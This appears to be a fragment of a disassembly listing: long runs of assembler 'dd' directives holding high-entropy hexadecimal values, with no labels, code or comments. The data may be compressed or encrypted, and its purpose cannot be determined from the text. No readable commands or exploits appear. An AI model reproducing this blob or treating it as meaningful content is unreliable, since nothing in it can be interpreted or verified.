		dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h,	3F71A108h
		dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h,	49980901h
		dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h,	2879AF8Bh
		dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
		dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
		dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
		dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h,	0F2EE0044h
		dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
		dd 7D9A5FCh, 6EC01609h,	71E8F1E0h, 23E0E23h, 0F826112Fh
		dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h
		dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h,	327736F2h
		dd 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h,	53005079h
		dd 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h, 4A384700h
		dd 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h, 4C78346h
		dd 7053AF1h, 820F1A6Dh,	707A4051h, 0BC3C6FD7h, 5200791Ch
		dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h
		dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh,	0EAE6E297h
		dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh
		dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h,	2BCD0379h
		dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h,	14F47970h
		dd 2462F6EEh, 0B59428h,	97D103B9h, 4000806Fh, 0FA4AEBC7h
		dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h
		dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h
		dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h,	0A000EEEh
		dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh
		dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h
		dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h
		dd 114CFF02h, 80F0756h,	91F6482Eh, 3737566h, 0E888BA8Ch
		dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh
		dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h,	0BC2042C7h
		dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h,	0B006DC3Ah
		dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h
		dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah
		dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h
		dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh
		dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h
		dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h
		dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h,	58694A6Ch
		dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h,	168E4212h
		dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh
		dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h,	7F00EA80h
		dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h
		dd 9005821h, 6AF8E2E9h,	1616851Fh, 1553C08h, 0F2064369h
		dd 0A5EEE012h, 0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
		dd 2BAEC051h, 3C0FDF0h,	689F300h, 4C418CAFh, 42670075h
		dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h,	4E581E6Ch
		dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh,	56290098h
		dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
		dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
		dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
		dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h,	0AC13B27h
		dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
		dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h,	0F7F0167Fh
		dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
		dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
		dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
		dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah,	0B6A28304h
		dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch,	25FA453Bh
		dd 5CF00D74h, 406C21Fh,	21A9DAC0h, 168BDFh, 50176655h
		dd 19458940h, 0B70FF200h, 33310308h, 0E94300CCh, 3A3B0A60h
		dd 741E3546h, 36000E67h, 261F0954h, 0A03F0095h,	4F665001h
		dd 0B008102h, 0A6F2B752h, 3032FA53h, 755E0D45h,	0A9076241h
		dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h
		dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h
		dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h,	530DE1FFh
		dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh
		dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh,	3C51AEE0h
		dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h
		dd 0BE88565h, 3AFF450h,	7FF64269h, 20E70E32h, 3C65BE58h
		dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h
		dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h
		dd 52C77853h, 0F854ECh,	50908603h, 4D07E924h, 83376400h
		dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h,	0A8FEA973h
		dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h
		dd 3C47E194h, 0CFDC21h,	44D88871h, 0EE39FEC7h, 1AE04A30h
		dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h
		dd 4F42EDh, 0E31224A6h,	0F687477Ch, 10939504h, 7C8014BFh
		dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh
		dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh
		dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h
		dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h,	121760E4h
		dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h,	344380A5h
		dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h
		dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h,	13399Fh
		dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh,	58619E11h
		dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h
		dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh
		dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h,	0FA16E98Ah
		dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh
		dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
		dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
		dd 1876B3F6h, 4F07F400h
		dd 8A05C283h, 5F3203F5h, 0FFFA9629h, 8625DFB0h,	6A0033FAh
		dd 0F1450B0h, 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h
		dd 0FAB04975h, 0D1C680h, 83740567h, 724FBA68h, 0F021D605h
		dd 0F780753Bh, 488063h,	74182D7Bh, 0C69F3F3Ch, 8A424B00h
		dd 0D241652Ah, 478100EFh, 17C5625h, 6800625Bh, 12F03918h
		dd 1DBDDA1Ch, 0C07FC9A0h, 564767B6h, 6A4CFE15h,	340015Bh
		dd 9EC75281h, 772F9CCCh, 0BE053E86h, 44CA5900h,	8475F8A7h
		dd 0FC1C400Bh, 0DF3A0953h, 142B080h, 743CC23Bh,	226C000Ah
		dd 0F4CF286Eh, 4DE9009Fh, 254013A9h, 743AE448h,	0F74A829Dh
		dd 60553899h, 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h
		dd 0C88FC743h, 714A610h, 3758E1A5h, 0E4069159h,	8EBD4092h
		dd 4D786599h, 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh
		dd 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh
		dd 63760022h, 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h
		dd 1F86D71h, 679D18C2h,	0E0E22D24h, 7C7F1CD7h, 0ADD45C04h
		dd 4980CDD8h, 74F45969h, 0A5270379h, 8867DD25h,	12D865ABh
		dd 5513B2ECh, 20B8D0E5h, 1797EA00h, 0F8A53D23h,	15286728h
		dd 0CCB3DF01h, 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h
		dd 54B34B33h, 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh
		dd 71D3A009h, 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh
		dd 0C71C6300h, 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h
		dd 13B07E00h, 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h
		dd 7EFDDA92h, 90C916h, 0D302D088h, 49F3D69Dh, 18000574h
		dd 955B1C36h, 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h
		dd 2894200h, 598CF986h,	3FFCFAh, 78C89F0Ah, 9A4D1025h
		dd 0FD45140h, 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h
		dd 1F5888FDh, 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh
		dd 0B948A2FFh, 0FFC097Bh, 0E946DADCh, 4D000D3h,	0D840FD2h
		dd 39EE0200h, 28ECC336h, 768390F6h, 0A350008Fh,	1466D4E2h
		dd 3A00D845h, 0DB138D16h, 39A53EBh, 0BBD3FBACh,	7BE0B603h
		dd 3C00E340h, 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h
		dd 4D7F0326h, 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h
		dd 6F2A8066h, 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h
		dd 8230014h, 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h
		dd 1BAC2040h, 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h
		dd 0A094C3C9h, 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h
		dd 0C415BB86h, 582BF01Dh, 5003835Dh, 78AD0364h,	0DEB014EBh
		dd 0F1071EA8h, 1832825Eh, 0C04B050h, 4C9F05D3h,	80DE7E75h
		dd 83E9D5BEh, 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah
		dd 48A0AC52h, 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h
		dd 2B8E2699h, 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h
		dd 0B2C4396h, 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh
		dd 0A1575A00h, 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h
		dd 127D600h, 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h
		dd 0B376871Dh, 0C884B900h, 17E902h, 0A2DD47E8h,	7E82F0BCh
		dd 0B143A300h, 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h
		dd 81430400h, 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h
		dd 0D05C20F4h, 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h
		dd 7A000BFCh, 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h
		dd 3437BF1Fh, 0C7E50A03h, 6575C8FCh, 537D00FFh,	28521BC1h
		dd 90011D45h, 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh
		dd 0FDC44BAFh, 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch
		dd 96F809A4h, 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h
		dd 0C6B055h, 0F4C5E987h, 422B610Ah, 0E8408200h,	9A57A34Dh
		dd 517D0332h, 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h
		dd 0A786007Bh, 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h
		dd 0F7E88AFBh, 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh
		dd 0E0DE9421h, 7EF0E599h, 84233200h, 31D016A9h,	96544C9Eh
		dd 4A210075h, 20622464h, 97EA433Ch, 18850400h, 0B2557329h
		dd 486A02F3h, 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h
		dd 2AE10010h, 5FEB5530h, 0BD008018h, 2FD73B3Eh,	0E30D72h
		dd 730E1F3Dh, 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h
		dd 5E9F8Eh, 0DC102DC0h,	0F61CE881h, 16442200h, 0BC88EFC3h
		dd 7B92004Fh, 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h
		dd 89853F42h, 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh
		dd 0EE4B609Bh, 0EE4692Ch, 5427D2A5h, 89051360h,	12006BA4h
		dd 3C9FFB5Bh, 1107053h,	88E22A11h, 0D9182134h, 4C0DD851h
		dd 87493800h, 50A28C91h, 907515h, 8041FAD2h, 406AF633h
		dd 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h
		dd 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h, 8108A023h
		dd 4500503Eh, 27414C6h,	38F6B572h, 3CF069FCh, 24006AF0h
		dd 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h, 90136574h
		dd 72D9008Dh, 841464DBh, 0EB730C62h, 7839F602h,	6031B849h
		dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h
		dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h
		dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h
		dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh,	0AA406982h
		dd 900F4916h, 770A120h,	6B77880Ah, 0C689AC90h, 31FC020Eh
		dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h
		dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h
		dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh
		dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h
		dd 0B4C30330h, 5F547Dh,	50B9B3A7h, 33135CEAh, 0AF530100h
		dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h
		dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh,	0F0754905h
		dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h,	0E5957458h
		dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah,	78402E4Ch
		dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h,	0E6E3E80Bh
		dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h,	0AE933B3Ah
		dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h
		dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh
		dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh
		dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h
		dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h
		dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh,	80093AF4h
		dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h
		dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah
		dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h
		dd 0F8CA28h, 48EFE842h,	0A0E0FF96h, 65E4C800h, 0DFBCBA95h
		dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h
		dd 4EB0001h, 7893DD0Dh,	540022CCh, 2C085011h, 1E6D799Fh
		dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h,	0DE8CADh
		dd 258B5967h, 0CBEFB91h
		dd 5021C607h, 28F0B256h, 0FEADB5DDh, 76D0FB59h,	30D11E20h
		dd 0D5C5876Bh, 751C5081h, 1EC339CFh, 80B1D62Bh,	0FD9B7Eh
		dd 10E87349h, 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh
		dd 0A8F355D3h, 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh
		dd 4F1A180h, 5802EA81h,	0B3542F78h, 2ADDE0C4h, 0F5C20216h
		dd 5F2664A2h, 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h
		dd 30FC27Fh, 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h
		dd 0F64A05BCh, 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h
		dd 5A901E55h, 0EA484097h, 0CE223746h, 750058F4h, 196577EEh
		dd 514B011h, 3B398285h,	0B0AF8718h, 45807534h, 1AC5EC00h
		dd 0EBE0176h, 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h
		dd 0AD775304h, 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh
		dd 0C715C663h, 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah
		dd 0DA0333EAh, 7468C075h, 0C03FB331h, 35817A9h,	3E7995CEh
		dd 1CE07567h, 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh
		dd 268DD83Bh, 7A011A1h,	0AF07BA12h, 0D4F17174h,	7D85E454h
		dd 5C38591Eh, 0CAF23F00h, 1E74032Dh, 8562CCD6h,	0C09118AAh
		dd 645A0A94h, 3EC510Bh,	454500B5h, 1E05BAD4h, 5077D2Eh
		dd 0FEAA81C4h, 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch,	6238FE95h
		dd 0A032D32Eh, 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h
		dd 8D2B60FBh, 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh
		dd 0A6B1EB70h, 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh
		dd 6A138C23h, 0B500F4EBh, 7385DB51h, 16BA0221h,	0CAB4F2h
		dd 53222A75h, 0D800720Dh, 52C38A1Ah, 72865E01h,	0A76900E9h
		dd 80D7B021h, 334CCD38h, 401100B1h, 742E120Ah, 94D80066h
		dd 0E0F42201h, 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h
		dd 0B2C9BF02h, 0B152535Ah, 8AB32100h, 80C1B75h,	64560797h
		dd 0E0D3220Fh, 9E060DC9h, 5CE22B00h, 982D14E5h,	743300E9h
		dd 4F9F6828h, 5EF6FB42h, 0AA195507h, 3FAF18CBh,	463264C1h
		dd 29EC4B35h, 0F17B00ECh, 8BA1A490h, 82039F1Ah,	2717677Dh
		dd 7F319177h, 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h
		dd 0F6035FF8h, 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h
		dd 0A94210h, 4A445A6Ch,	9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh
		dd 2FFB9E03h, 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h
		dd 6C12A5EEh, 0BBF49Bh,	6A0FE00Eh, 0EBEC9D01h, 1A0A9900h
		dd 0ABC48688h, 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h
		dd 0B2BBFB92h, 0EAD7C0h, 994AD02Dh, 0A436A010h,	763E8800h
		dd 7D540AFDh, 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch
		dd 2CDF8900h, 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h
		dd 59F46A00h, 0E20E53F8h, 0EC480022h, 63C5035h,	0CE0FA63Dh
		dd 0A0A11328h, 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h
		dd 7890326h, 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h
		dd 0DF29BF00h, 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h
		dd 64394C9Eh, 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh
		dd 48EE0Dh, 0EF38DB79h,	0E552EE19h, 8F02333Dh, 0E1644414h
		dd 4CE36837h, 13AEDCCh,	54203D61h, 0F8430C7Fh, 8FA34B1h
		dd 0C422B900h, 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh
		dd 49792AC0h, 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh
		dd 19074246h, 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh
		dd 1EE83724h, 62126A99h, 0B90136A7h, 4B03A045h,	4E52D0h
		dd 7CF04C9Ah, 9ED4475h,	0A954F513h, 419ED900h, 1CCA56DCh
		dd 0C01C4950h, 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h
		dd 0BF69D852h, 78450091h, 66DDF663h, 4CFCA0D3h,	73007CFCh
		dd 4518F99Dh, 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh
		dd 0DDD6F8E1h, 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h
		dd 86CA3E62h, 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh
		dd 9E008415h, 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h
		dd 0D22E4F00h, 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h
		dd 0C42A0800h, 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh
		dd 26E83DD2h, 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh
		dd 0E0E85A8Fh, 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h
		dd 4B7AD2B1h, 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh
		dd 80CE103Bh, 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h
		dd 0CA535026h, 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h
		dd 6A000AC8h, 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh
		dd 0BD5EBFAAh, 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h
		dd 0A06171Dh, 0C20146F0h, 6900E8ECh, 1505ED39h,	0FE388934h
		dd 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh,	81E41C5Dh
		dd 714FBh, 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch
		dd 4A4800F7h, 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h
		dd 0F05497h, 0B4517F52h, 38783644h, 324638h, 33D08B56h
		dd 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h, 42F29007h
		dd 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh, 7C75F7F0h
